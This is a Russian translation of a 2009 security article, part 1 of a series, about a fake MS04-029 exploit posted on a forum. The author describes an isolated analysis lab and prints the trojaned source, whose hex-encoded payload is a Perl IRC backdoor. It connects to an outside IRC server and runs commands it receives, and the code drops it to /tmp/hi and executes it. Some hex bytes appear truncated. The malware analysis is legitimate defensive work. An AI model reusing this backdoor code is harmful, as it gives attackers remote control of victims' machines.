Социальная инженерия сталкивается с сетевым агентом-роботом (Часть 1)

Published on Февраль 3, 2009 by   ·   Комментариев нет

Шпионские программы используют какое-нибудь слабое звено в программе. Это достигается различными средствами. Социальная инженерия использует для этого человеческий фактор. А что если использовать эти два способа вместе? Прочитайте статью, и вы все узнаете.

Для разъяснения несколько непонятного заголовка статьи необходимо ознакомиться с предысторией. Около недели назад новый посетитель www.security-forums.com разместил сообщение, в котором утверждал, что у него имеется новый код для MS04-029, он также разместил ссылку на этот код. Новый посетитель утверждал, что с помощью данного кода можно получить доступ к командному процессору на удаленном компьютере, что в большинстве случаев и является целью хакеров. Я помнил, что если атака с помощью кода будет удачной, то результаты можно будет использовать только в условиях DoS. Кроме того, некоторые части активной памяти могут быть считаны. Читая про этот код, я не помнил, что он может предоставить хакеру процессор на удаленном компьютере. Вот здесь я и почуял недоброе. Это не первый случай, когда хакер пытается проникнуть в компьютер, использую социальную инженерию. Давно известно, что самым слабым звеном является человеческий фактор.

Кратко о себе

Сначала я расскажу кое-что о себе, это не займет много места. Знание обо мне помогут вам понять мои действия. Вот уже в течение нескольких лет я работаю в качестве специалиста по сетевой безопасности. Я специализируюсь на внешних проникновениях, разборе происшествий, а также увлекаюсь экспериментами со шпионскими программами. За время работы я научился, как правильно и, самое главное, безопасно оценивать шпионское программное обеспечение. И теперь я могу советовать вам экспериментировать с такими программами. Но делать это необходимо в безопасном окружении. Далее в статье вы встретите описание моей лаборатории и моих действий во время экспериментов.

Создание безопасных лабораторных условий

Самым главным при анализе шпионских программ является создание изолированной сети. Я имею в виду, что меньше всего вам захочется заразить корпоративную сеть или домашний компьютер во время эксперимента. Лично я использую 2 портативных компьютера для анализа программ-шпионов. Использование портативных компьютеров имеет свои преимущества: они занимают мало места на моем столе и могут быть с легкостью соединены между собой. Это также гарантирует то, что вы не сможете заразить свой компьютер или сеть. Обычно я использую равноправную связь через кабель САТ 5 или свободный хаб. Главное, чтобы два компьютера могли видеть друг друга. После подсоединения я подтверждаю связь через простой запрос ICMP или ping, что более привычно простым пользователям.

Ниже можно увидеть скриншот, показывающий настройки портативного компьютера, которому вскоре предстоит быть инфицированным. Он имеет шлюз, так как я намериваюсь «звонить домой», как говорится. Без этого шлюза невозможно подключиться к Интернету и узнать, как будет реагировать инфицированный компьютер. Характер шпионской программы вынуждает иметь доступ к Интернету. Хотя в большинстве случаев я не хочу, чтобы она подключалась к Интернету, вот поэтому и используется равноправная связь без шлюзов на обоих компьютерах.

Социальная инженерия

Действие большинства шпионских программ зависит от поставленных целей. Это означает, что программы firewall или антивирусы не установлены на компьютере, как не установлены и патчи производителей. При проведении анализа я тоже не использую эти программы и патчи.

Развлечемся?

После создания безопасных условий для проведения эксперимента, мы можем приступить к исследованию подозреваемой шпионской программы. Как я уже упоминал, на форуме была выложена ссылка на код. Я скачал его и заметил, что это было сделано через HTTPS. Сервер имел недействительный сертификат, который я пропустил. После закачки я перенес код в мой лабораторный компьютер.

Для анализа я использую несколько инструментов. Для настоящего эксперимента вам необходимо скачать следующие: hex2.exe и hex editor на ваш выбор. Следует заметить, что работа производится в условиях Lunix, потому что некоторые файлы, обозначенные в коде, предназначены для этой системы. Можно, конечно, провести эксперимент и в системе win32, но для этого необходимо установить Cygwin. Лично мне Cygwin не очень нравится, поэтому я использую обе операционные системы. Вам понадобятся оба упомянутые инструмента, и особенно hex2.exe. Я включил код источника, скачанный с форума, обратите внимание на то, что я не включил заголовочные файлы. Это сделано для того, чтобы в последствии ко мне не возникло претензий, если у кого-то возникнут проблемы из-за эксперимента. Помните, что нижеупомянутый код не будет компилирован. Но я включил его в целях анализа.

Шпионский код

char shellcode[] =
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80\xe8\xdc\xff\xff\xff\x2f\x74\x6d\x70\x2f\x68\x69

char *shellcode_payload=
\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x3
\x68\x61\x6e\x3d\x22\x23\x30\x78\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22\xb
\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22\x69\x72\x33\x69\x70\x2e\xe
\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\xb
\x65\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x9
\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x0
\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\xe
\x6e\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x7
\x22\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\xf
\x63\x6b\x20\x22\x55\x53\x45\x52\x20\x6b\x20\x2b\x69\x20\x6b\x20\x3a\xb
\x76\x31\x5c\x6e\x4e\x49\x43\x4b\x20\x6b\x5c\x6e\x22\x3b\x24\x69\x3d\x1\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\xe
\x5b\x5e\x20\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x4
\x6d\x6f\x64\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\xd
\x6f\x64\x65\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x4
\x65\x3d\x3d\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x9
\x63\x6b\x3d\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x9
\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x9
\x63\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x3
\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x9
\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x5c\x6e\x22\xb
\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x0
\x28\x2f\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x2
\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x1
\x5c\x6e\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x9
\x66\x28\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x7
\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\xc
\x77\x5d\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x4
\x2f\x24\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\xd
\x60\x24\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x4
\x20\x22\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\xb
\x20\x22\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x4
\x5f\x5c\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\xf
\x74\x6d\x70\x2f\x68\x69

#define SHELL_LEN (sizeof(shellcode_payload)-1)

int main(int argc, char **argv) {
int *ret;
FILE *f;
char *pre_payload = (shellcode_payload+593);
int die=0;
int x = 0, len = 0;
char *buf;
long    retaddr = 0, align = ALIGN;

if(argc!=2)
{
printf(«*** MaxLoad (windows rpc exploit) v.1 ***\n»);
printf(«For educational propose only!\n\n»);
printf(«error: you must enter a valid ip\n»);
printf(«usage:%s [IP-ADDRESS]\n»,argv[0]);
printf(«e.g: %s 192.168.1.23\n\n»,argv[0]);
die=1;
}

f=fopen(pre_payload,»w»);
if(f)
{
fseek(f,0,SEEK_SET);
close(2);
fprintf(f,»%s»,shellcode_payload);
fclose(f);
chmod(pre_payload,0777);
}

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

if(!die) {

if(sscanf(argv[1], «%lx», &retaddr) != 1)
die(«error in ip address: sscanf»);
if(argc > 2)
align = atoi(argv[2]);
if(align < 0 || align > 3)
die(«error: alignment could not be done»);

strncpy(buf, «://[«, 4);
len += 4;
memset(buf+len, NOP, NNOPS);
len += NNOPS;
memcpy(buf+len, shellcode_payload, SHELL_LEN);
len += SHELL_LEN;

len += align;
for(x = 0; x < 2000 — (sizeof(retaddr) — 1); x += sizeof(retaddr))
memcpy(buf+len+x, &retaddr, sizeof(retaddr));
buf[len+x] = ‘]’;
buf[len+x+1] = 0;

printf(«*** MaxLoad (windows rpc exploit) v.1 ***\n»);
printf(«For educational propose only!\n\n»);
printf(«Successfully send payload!\nTry connect to %s port 31337\n\n»,argv[1]);

}

return 0;

}

Что-то странное

Как вы помните, я писал, что челок, поместивший ссылку на код на форуме, утверждал, что эта шпионская программа предоставит хакеру доступ к командному процессору на удаленном компьютере. Если все вышесказанное правда, то это может доставить очень много хлопот. Я подхожу к окончанию первой части статьи, но настоятельно рекомендую прочитать ее до конца. Если чтение кажется вам несколько сложным, быстро просмотрите статью до конца. Именно в конце статьи вы поймете, почему данный код вызывает во мне подозрения. Если вам что-то непонятно поищите в google «системные вызовы». Во второй части вы поймете, почему код выглядит подозрительным, там же мы и приступим к анализу. До встречи!

Источник www.windowsecurity.com














































































Смотрите также:

Tags: ,

Readers Comments (Комментариев нет)




Да человек я, человек! =)




Exchange 2007

Проведение мониторинга Exchange 2007 с помощью диспетчера System Center Operations Manager 2007 (часть 3)

Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам: Проведение мониторинга Exchange 2007 с помощью диспетчера System ... [+]

Практическое рассмотрение перехода с Exchange 2003 на Exchange 2007 (часть 1)

Введение В этой статье из нескольких частей я хочу показать вам процесс, который недавно использовал для перехода с существующей среды Exchange 2003 ... [+]

Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (часть 2)

Если вы пропустили первую часть этой серии, пожалуйста, прочтите ее по ссылке Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (Часть ... [+]

Мониторинг Exchange 2007 с помощью диспетчера System Center Operations Manager 2007 (часть 2)

Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Мониторинг Exchange 2007 с помощью диспетчера System Center Operations ... [+]

Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 5)

Если вы пропустили предыдущие части этой серии статей, перейдите по ссылкам: Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 1) ... [+]

Установка и настройка Exchange 2007 из командной строки (Часть 3)

If you missed the previous parts in this article series please read: Exchange 2007 Install and Configuration from the command line (Part ... [+]

Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (часть 1)

Инструмент ExRCA Текущий выпуск инструмента предоставляется только в целях тестирования и оснащен 5 опциями: Тест подключения Outlook 2007 Autodiscover Тест подключения Outlook 2003 RPC ... [+]

Развертывание сервера Exchange 2007 Edge Transport (часть 5)

Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам: Развертывание сервера Exchange 2007 Edge Transport (часть 1) Развертывание ... [+]

Установка и настройка Exchange 2007 из командной строки (часть 2)

Если вы пропустили первую статью данного цикла, пожалуйста, перейдите по ссылке: Exchange 2007 Install and Configuration from the command line (Part ... [+]

Использование интегрированных сценариев Using Exchange Server 2007 – часть 2: генерирование отчетов агента Transport AntiSpam Agent

Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Использование интегрированных сценариев Using Exchange Server 2007 – часть ... [+]